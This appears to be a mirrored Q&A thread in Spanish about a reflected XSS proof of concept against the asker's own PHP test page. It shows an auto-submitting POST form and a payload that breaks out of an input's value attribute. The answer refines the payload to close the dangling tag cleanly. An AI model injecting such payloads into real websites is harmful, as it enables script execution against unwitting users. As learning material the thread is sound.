Business
Jobs
  • About Us
  • Solutions
    • Job Postings
      Post your job and receive qualified candidates in 48h.
    • Candidate Assessments
      500+ technical and psychological tests, plus anti-fraud.
    • Headhunting
      Tailor-made executive search from start to finish.
    • Payroll + EOR
      Payroll dispersal and EOR across 15+ LATAM countries.
  • Pricing
  • Jobs

0

212
Views
XSS PoC: ocultar caracteres renderizados en DOM

Empecé a jugar con XSS para mejorar mi postura de seguridad en el trabajo. Pude explotar con éxito un ataque XSS reflejado usando un formulario POST redirigido, pero parece que no puedo eliminar los caracteres extraños que se muestran en la página.

He comprobado:

XSS: Carácter que se muestra en DOM

https://security.stackexchange.com/questions/207282/xss-character-showing-in-dom?newreg=61e9890d94d34d0c8818158ba541b117

¿Cómo cargar javascript en otra página web a través de XSS?

Pero ninguna de las sugerencias parece funcionar para mí.

Mi exploit es una forma básica, explotando un script del lado del servidor PHP que configuré haciendo eco $_POST['username'] en el atributo de valor:

 <form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value="&quot;&gt;&lt;script&gt;alert('Hello');&lt;/script&gt;&quot;"> </form> <script> document.getElementById(1).submit(); </script>

Sin codificar:

 <form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value=""><script>alert('Hello');</script>"> </form> <script> document.getElementById(1).submit(); </script>

Pero este molesto "> no morirá:

Caracteres adicionales representados

He intentado:

  • Varias técnicas de evasión de filtros agregando caracteres adicionales recomendados por OWASP
  • Escapar de "> a &quot;&gt; - esto da como resultado errores de sintaxis, y la eliminación de las comillas iniciales rompe la carga útil. PERO, según los recursos vinculados anteriormente, parece posible según los comentarios
  • Usar selectores de CSS para ocultar los caracteres en mi carga útil de ataque (usando herramientas de desarrollo, el "> aparece como #text , así que pensé que esto podría funcionar)

Estoy seguro de que es algo tonto, pero ¿qué me estoy perdiendo? Es claramente posible, pero no soy un desarrollador web experto (de ahí el jugueteo). ¡Cualquier comentario o consejo sería apreciado!

about 4 years ago · Juan Pablo Isaza
1 answers
Answer question

0

Eventualmente lo descubrí después de horas de prueba y error. La idea es cerrar la etiqueta colgante con una etiqueta separada:

Así que la carga útil anterior era:

 "><script>alert('Hello');</script>

Que, después de que el script PHP lo analice, se ve así:

 <input type="text" name="username" value="">"> <!-- notice the dangling tag -->

Después de agregar una etiqueta de entrada de cierre, la solución funcionó:

 "><script>alert('Hello');</script><input type="hidden" value="

Y salida del análisis de PHP:

 <input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">

Tenga en cuenta que lo anterior debe estar codificado en HTML para funcionar correctamente. Lo omití por legibilidad.

about 4 years ago · Juan Pablo Isaza Report
Answer question
Find remote jobs

Discover the new way to find a job!

Top jobs
Top job categories
Business
Post vacancy Pricing Sales
Legal
Terms and conditions Privacy policy
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Show me some job opportunities
There's an error!